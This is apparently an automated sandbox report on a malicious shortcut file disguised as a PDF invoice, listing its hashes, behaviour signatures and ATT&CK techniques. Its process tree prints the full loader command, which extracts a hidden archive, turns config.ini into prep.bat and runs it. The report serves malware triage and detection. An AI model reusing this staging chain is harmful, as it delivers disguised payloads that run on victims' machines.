6c4409fadda1c44e710ce245ad9d59fd2b816d738e43a32d3b5baafea617c5a4

Analysis

max time kernel
149s
max time network
132s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/10/2026, 12:18

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General

Target
DE-1901871.pdf.lnk
Size 2KB
Sample261029-pgtd3abb89
SHA256 6c4409fadda1c44e710ce245ad9d59fd2b816d738e43a32d3b5baafea617c5a4
MD5 4f8146fdfb4c04002807c1019f3197c0
SHA1 cfc02238b2a7ebe222b5496af1ba09742a0a9d2b
SHA512 ccb65b1940f7be5880d62e37fd0f50cbf0d5e181b3a0d9352c1f0985e792717b05fadcec692f094466d532f11560997b9e1c383b40efc3d24e26d644f8f6025c
TLSH
T1E551CB512AD94328D2F29E374869EB046235B881D6678F6E0180C5CD784A600E839F7E
MD5 SHA1 SHA512 TLSH

Score

7^/10

execution

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1956	cmd.exe
2616	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1956 wrote to memory of 2616	1956	cmd.exe	85
PID 2616 wrote to memory of 1520	2616	cmd.exe	86

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DE-1901871.pdf.lnk
1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1956
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c tar -xOf "C:\Users\Admin\Downloads\DE-1901871.pdf.zip" . > "C:\Users\Admin\AppData\Local\Temp\tamn142.zip" && tar -xf "C:\Users\Admin\AppData\Local\Temp\tamn142.zip" -C "C:\Users\Admin\AppData\Local\Temp" config.ini && type "C:\Users\Admin\AppData\Local\Temp\config.ini" > "C:\Users\Admin\AppData\Local\Temp\prep.bat" && "C:\Users\Admin\AppData\Local\Temp\prep.bat"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2616
- - C:\Windows\system32\tar.exe
    tar -xOf "C:\Users\Admin\Downloads\DE-1901871.pdf.zip" .
    3⤵
    PID:1520

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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